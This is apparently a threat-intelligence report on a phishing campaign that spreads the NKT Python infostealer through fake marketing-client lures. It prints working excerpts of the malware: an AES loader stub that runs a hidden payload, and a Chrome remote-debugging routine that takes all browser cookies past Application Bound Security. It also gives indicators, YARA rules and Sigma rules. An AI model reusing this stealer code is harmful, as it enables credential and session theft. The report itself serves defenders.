3 December 2024 - 13 min read
The threat actor initially contacted victim organisations using inquiry forms and generic inquiry email addresses. The threat actor posed as a prospective marketing client, inquiring about operating a marketing campaign in the target organisation's locale worth tens to hundreds of thousands of dollars. The threat actor posed as actual employees of the impersonated organisations, copying details from employee LinkedIn profiles and creating email signatures using legitimate details. We have observed the threat actor distributing lure content in at least English, French, Hebrew and Arabic.
In some instances, the threat actor engaged with an employee at a victim organisation to build a pretext before distributing malware. In a subset of these protracted engagements, the threat actor shifted communications to Skype and Google Chat conversations to build rapport with victims, including by scheduling kickoff meetings. In other instances, the threat actor distributed malware in the initial message to the victim. The threat actor distributed malware using password protected ZIP archives, sent directly via chat platforms or via a link to a file hosted on DropBox.
We have high confidence that that the threat actor impersonated organisations including:
We have moderate confidence that this campaign overlaps with activity using the same techniques to impersonate Bose and MVMT, widely reported in marketing communities (see, e.g. this reddit thread, and this LinkedIn post or this industry blog post). We did not observe Bose or MVMT impersonation in victim artifacts obtained during this analysis. This analysis is focused on the malware variant used alongside the Nulo pet food lure, which consisted of the following files:
Nulo-PPC-Tracking-Report-2025.zip 0a17ff5428e5fe87be26e8323e87f53489a155f0c526e274ce2aabc88904939b
├── Nulo - Branding Budget 2025.scr d7926627286a12632a3dc0633c860a522fbff6fff9ee3bd2197477a2a4a43d50
└── Nulo - Mission Statement.pptx 2350f3ad213c5b9e315ea5017b7cb70575d91a37b2f2e5ab1ad2453bcc478d14
Sandbox executions of the analysed payload are avaiailable on Tria.ge and Joesandbox.
ZIP archives distributed by the threat actor included one or more decoy PDF or Office documents and a Windows screensaver file (.scr) masquerading as a PDF file using a PDF icon. Windows screenshot files are functionally Portable Executables and are a common method of achieving inadvertent user execution of a malicious payload. The malicious screensaver file is a C++ .NET binary that has been intermittently padded with null bytes to a size of 928MB, visible as the large sequences of null bytes present when visualising of the binary magnitude. The binary padding method is nonstandard and is not automatically addressed using tools like pecheck or debloat. Threat actors pad binaries to large sizes to prevent uploads to malware sandboxes including VirusTotal and to disrupt the functionality of static scanners and emulators.
During dynamic analysis, we observed the malware execute without a Windows SmartScreen warning. The screensaver file avoids Mark of the Web due to distribution inside an archive, however the file is unsigned and unlikely to otherwise have a high reputation. Based on the absence of a SmartScreen warning despite these attributes, we assess that the first stage executable is moderately likely to contain a SmartScreen bypass. The malware contains compilation artifacts that appear to reference a smart screen bypass including C:\Users\administrator\Documents\2_BOT_SCR_BYPASS_WD_HI\. We note that the malware is not detected by up-to-date Windows Defender statically, during initial execution or post installation.
The first stage executable decrypts and drops files including a python interpreter to the C:\Users\<username>\AppData\Local\MSApplicationgVXtz directory. The malware invokes the python interpreter with a first stage python script with the following command line:
"C:Users<username>AppDataLocalMSApplicationgVXtzpythonw.exe" "C:<username>AdminAppDataLocalMSApplicationgVXtzDLLs
z_317.pd" clickapp 2fukrun copycoin getdocument getwallet openpdf:Nulo_Marketing_Budget:kjhsd87sdafkjh2387sdjfh_jsld2d
The first stage python script is a stub that decrypts a second stage python script using a hard-coded decryption key. The second stage script is decrypted from a file masquerading as a database file named Error_cache.db. The stub serves to prevent the infostealer payload from ever existing on disk in its decrypted form and is also used as the entrypoint after persistence is achieved. The stub's true decryption key is redeclared 1168 space characters after a decoy decryption key is declared on the same line. This technique is almost certainly intended to misdirect manual analysis. The stub passes command line arguments to the infostealer payload.
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.primitives import padding
from base64 import b64decode
import os
count = 0;
key = b'aPIYKiq93v3ES7qf'; key = b'OefWLlUijuGGd5YQ'
def decrypt(ciphertext, key):
backend = default_backend()
cipher = Cipher(algorithms.AES(key), modes.ECB(), backend=backend)
decryptor = cipher.decryptor()
decrypted_data = decryptor.update(b64decode(ciphertext.encode('utf-8'))) + decryptor.finalize()
unpadder = padding.PKCS7(algorithms.AES.block_size).unpadder()
unpadded_data = unpadder.update(decrypted_data) + unpadder.finalize()
return unpadded_data.decode('utf-8')
with open(os.path.join(os.path.dirname(__file__), 'Error_cache.db'), 'r', encoding='utf-8') as file:
content = file.read()
exec(decrypt(content,key))
The inner payload is a novel python-based information stealer. The stealer has standard functionality including capturing a screenshot of the infected device, exfiltrating files, exfiltrating data from cryptocurrency applications and obtaining sensitive information from web browsers. The stealer uses up to three hardcoded Telegram bots for exfiltration and optionally includes a remote address to execute arbitrary commands from. This value was not populated in the sample used for this analysis. Data to be exfiltrated is packaged into a ZIP archive before being sent to Telegram.
When first executed, the stealer opens a decoy PDF file from the path specified in the openpdf argument. The malware copies the PDF file to the C:\Users\<username>\AppData\Local\Temp\ directory and launches it using the system default application. The decoy PDF serves to misdirect the victim and conceal the background execution of the malware. Next, the malware obtains GeoIP information for the infected system using the ipinfo.io service. If the infected device's IP address is allocated within Vietnam, the malware notifies the threat actor via Telegram with the message [CẢNH BÁO] Tool bị chặn tại Việt Nam! (translating to [WARNING] Tool is blocked in Vietnam!) and the malware exits. The malware contains other Vietnamese language artifacts in code comments and the messages sent to the threat actor's Telegram bots.
The malware achieves persistence by creating a registry Run key under the name Microsoft Service and by creating a scheduled task called Audio Driver Update using a COM object. Both persistence mechanisms point to the dropped python interpreter and the decryption python stub and contain only the copycoin argument. The copycoin argument is a clipjacker that checks the victim clipboard for cryptocurrency addresses using regular expressions and rewrites any identified addresses to hard-coded addresses owned by the threat actor. Examination of the threat actor's cryptocurrency wallets indicates no successful clipjack transactions, which is not surprising given the malware was targeted at corporate marketing devices.
The malware exfiltrates information from Edge, Chrome, Brave, Opera, Firefox and CocCoc (a Chromium-derivative advertised as "The web browser for Vietnamese people") by extracting databases and decrypting sensitive information using the CryptUnprotectData API. The malware also contains dedicated functionality to overcome the new Chrome security feature to use Windows Application Bound Security to secure cookies against infostealers. The malware executes a headless, explicitly off screen Chrome session with the --remote-debugging-port argument. This argument is part of Chrome's extensive testing functionality and allows the sending of Chrome DevTools commands to the browser to achieve nonstandard functionality. The malware sends the Network.getAllCookies command, which returns all cookies from the browser as a JSON array. Because this action instructs the Chrome process to obtain the protected cookie data itself, Application Bound Security is bypassed.
Remote debugging is one of several methods threat actors have identified for overcoming Application Bound Security since Chrome's update. Cookie access through remote debugging is likely to be particularly desirable to threat actors because it can be achieved with no disk footprint and because it is operating system agnostic. Chrome on MacOS and Linux contain the same debug functionality and the extensive volume of Chromium derivatives make the technique nearly universal. The Chrome DevTools Protocol can be used for other browser attacks, including sensitive information access by sniffing application layer traffic before TLS is applied and directly controlling a browser session.
def start_chrome_with_websocket(chromium_path, userdata_path, profilename):
port = PatchChromiumv20.default_port
while PatchChromiumv20.is_port_in_use(port):
port += 1
process = subprocess.Popen([
chromium_path,
"--headless",
"--window-position=-5000,-5000",
f"--remote-debugging-port={port}",
"--remote-allow-origins=*",
f"--user-data-dir={userdata_path}",
f"--profile-directory={profilename}",
"--mute-audio",
"--disable-gpu",
"--no-sandbox",
"--disable-extensions",
],creationflags=0x08000000)
time.sleep(2)
return process,port
def control_chrome(websocket_url):
print(websocket_url)
ws = create_connection(websocket_url)
ws.send(json.dumps({"id": 1, "method": "Network.getAllCookies"}))
cookies_response = ws.recv()
ws.close();
return json.loads(cookies_response)
The stealer contains dedicated functionality to gather additional information about TikTok marketing cookies identified on an infected device. These functions use the victims own device to make requests to Facebook and TikTok advertising APIs to identify account balances, payment mechanisms and local currencies. This information is built into the message text sent to the threat actor's Telegram bots, rather than just being written into the exfiltrated archive. This type of functionality is not typical in information stealers, as threat actors typically minimise their execution footprint and can trivially conduct these checks after exfiltration. That is not to say that this technique is unique, as it appears in other contemporary stealers including Auilirophile. The implementation of these checks and their prominence in the alerts sent to the threat actor suggests that these advertising accounts are core to the threat actor's monetisation strategy. This is also supported by the threat actor's targeting of marketing organisations, which are more likely to operate advertising accounts with substantial budgets. The threat actor also monetised intrusions through initial access broker activity, with at least one infection resulting in the deployment of ransomware at the compromised organisation.
In a November 2024 analysis, Cisco Talos identified a similar function for checking TikTok advertising accounts on an infected device in the newly identified PXA stealer. Notably, PXA stealer is also a python script spawned by a binary dropper, contained similar variable names and also contained signs of originating from Vietnam. While PXA's loader and stealer source code are distinct from this campaign, these similarities are significant and may indicate a common code provenance or some overlap or link between the respective developers. Based on malware strings bot identifiers in exfiltrated data, the threat actor appears to name this malare NKT, prepending a version number and appending a build number. The bot identifier in the variant used in this analysis is V20_NKT_1111. The PDB string for the screensaver binary is framework-NKT-Notoken\HienPDF-AOT-2FukRUN\bin\Release\net8.0\win-x64\native\Nulo1111.pdb.
This campaign has impacted at least 125 unique victims since 11 October 2024. Impacted victims are overwhelmingly located in India, followed by the USA and Spain. The threat actor created substantial custom content for each lure, including branded documents containing fabricated marketing plans and statistics. The threat actor has a high rate of operations and is either significantly industrious or has access to human resources based on its ability improvise phishing scenarios in real time. While the threat actor's malware is unsophisticated, it is effective at avoiding appearing in sandboxes, evading defenses and achieving the threat actor's actions on objectives
Tactic | Technique | Description |
---|---|---|
Resource Development | T1587.001 - Develop Capabilities: Malware | The threat actor developed a custom Python information stealer. |
T1608.001 - Stage Capabilities: Upload Malware | The threat actor staged malware on DropBox. | |
T1608.005 - Stage Capabilities: Link Target | The threat actor distributed links to DropBox files. | |
Initial Access | T1566.002 - Phishing: Spearphishing Link | The threat actor distributed links to DropBox files. |
T1566.003 - Phishing: Phishing via Service | The threat actor used Skype and Google chats for phishing. | |
Execution | T1204.002 - User Execution: Malicious File | The threat actor's payload relied on manual user execution. |
T1059.005 - Command and Scripting Interpreter: Python | The threat actor used a packaged Python interpreter to execute code. | |
Persistence | T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder | The threat actor created a Run key. |
T1053.005 - Scheduled Task/Job: Scheduled Task | The threat actor created a scheduled task. | |
Defense Evasion | T1036.008 - Masquerading: Masquerade File Type | The malware executable used a PDF file icon. |
T1553.005 - Subvert Trust Controls: Mark-of-the-Web Bypass | The threat actor avoided MOTW distributing the malware using a protected archive. | |
T1211 - Exploitation for Defense Evasion | First stage malware contained a SmartScreen bypass. | |
T1027.001 - Obfuscated Files or Information: Binary Padding | First stage malware used nonstandard binary padding. | |
T1027.009 - Obfuscated Files or Information: Embedded Payloads | First stage malware contained second stage, decoy files and python interpreter. | |
T1027.013 - Obfuscated Files or Information: Encrypted/Encoded File | Final payload decrypted and executed by stub. | |
Credential Access | T1555.003 - Credentials from Password Stores: Credentials from Web Browsers | Malware obtained credentials from browser stores. |
T1539 - Steal Web Session Cookie | Malware used CDP and remote debugging to obtain cookies. | |
Discovery | T1016 -System Network Configuration Discovery | Malware used ipinfo.io service to obtain external IP. |
T1057 - Process Discovery | Malware discovered running processes with tasklist. | |
Collection | T1560 - Archive Collected Data | Malware packaged exfiltrated data into a ZIP archive. |
T1005 - Data from Local System | Malware collects PDF, txt and wallet files from local disk. | |
T1113 - Screen Capture | Malware captures a screenshot on execution. | |
Command and Control | T1102 - Web Service | Malware executed commands from remote webpage. |
Exfiltration | T1567 - Exfiltration Over Web Service | Malware exfiltrates data using Telegram bot API. |
Impact | T1657 - Financial Theft | Malware rewrites clipboard contents to steal cryptocurrency. |
T1496 - Resource Hijacking | Malware targets TikTok and Meta advertising cookies to abuse ad accounts. |
# sha256
0a17ff5428e5fe87be26e8323e87f53489a155f0c526e274ce2aabc88904939b Nulo-PPC-Tracking-Report-2025.zip
d7926627286a12632a3dc0633c860a522fbff6fff9ee3bd2197477a2a4a43d50 Nulo - Branding Budget 2025.scr
2350f3ad213c5b9e315ea5017b7cb70575d91a37b2f2e5ab1ad2453bcc478d14 Nulo - Mission Statement.pptx
7930dce3295e21cc6674bcda80d9abe11fec39233ab591a49f1e696d93d591a5 rz_317.pd
c286b56f1bf8ab5d1fc17bf4b965d0260b1d1b861d3d58d0af9c5142385f5b4f Error_cache.db
# fqdn
nulo-eu[.]com
pet-nulo[.]com
uae-abudhabioil[.]com
rule nkt_stealer_packed
{
meta:
description = "Detects the packed binary for NKT infostealer"
author = "Oliver Smith"
email = "[email protected]"
date = "2024-12-01"
strings:
$mz = { 4D 5A }
$s1 = "C:\Users\administrator\Documents\2_BOT_SCR_BYBASS_WD_HI\"
$s2 = "framework-NKT-Notoken\HienPDF-AOT-2FukRUN\bin\Release\"
condition:
filesize > 600MB and $mz at 0 and all of ($s1, $s2)
}
rule nkt_python_decryptor
{
meta:
description = "Detects the decryptor python stub for NKT stealer"
author = "Oliver Smith"
email = "[email protected]"
date = "2024-12-01"
strings:
$s1 = "; key = b"
$s2 = "exec(decrypt(content,key))"
$s3 = "unpadder = padding.PKCS7(algorithms.AES.block_size).unpadder()"
condition:
filesize < 3KB and all of them
}
title: Detect NKT Stealer Persistence via Registry Run Key
status: experimental
description: Detects NKT persistence in Run key.
author: [email protected]
date: 2024-12-01
logsource:
category: registry
product: windows
detection:
selection:
EventID: 12
RegistryKey: 'HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\Microsoft Service'
RegistryValueData|contains: '\\AppData\\Local\\MSApplication'
RegistryValueData|contains: '\\pythonw.exe'
RegistryValueData|contains: '\\DLLs\\'
RegistryValueData|contains: '.pd'
condition: selection
level: high
fields:
- RegistryKey
- RegistryValueName
- RegistryValueData
falsepositives:
- Legitimate software may add entries to this registry key.
tags:
- attack.persistence
- attack.t1547.001
title: Detect NKT Stealer Persistence via Scheduled Task
status: experimental
description: Detects NKT persistence via Scheduled Task.
author: [email protected]
date: 2024-12-01
logsource:
category: windows
product: windows
service: security
detection:
selection:
EventID: 4698
TaskName: "AudioDriverUpdateTask2"
ActionPath|contains: '\\AppData\\Local\\MSApplication'
ActionPath|contains: '\\pythonw.exe'
ActionPath|contains: '\\DLLs\\'
ActionPath|contains: '.pd'
TaskDescription|contains: 'Check for updates to the audio driver'
condition: selection
level: high
fields:
- TaskName
- ActionPath
- ActionArguments
- TaskDescription
falsepositives:
- Legitimate software that schedules tasks for updates may trigger this event.
tags:
- attack.persistence
- attack.t1053.005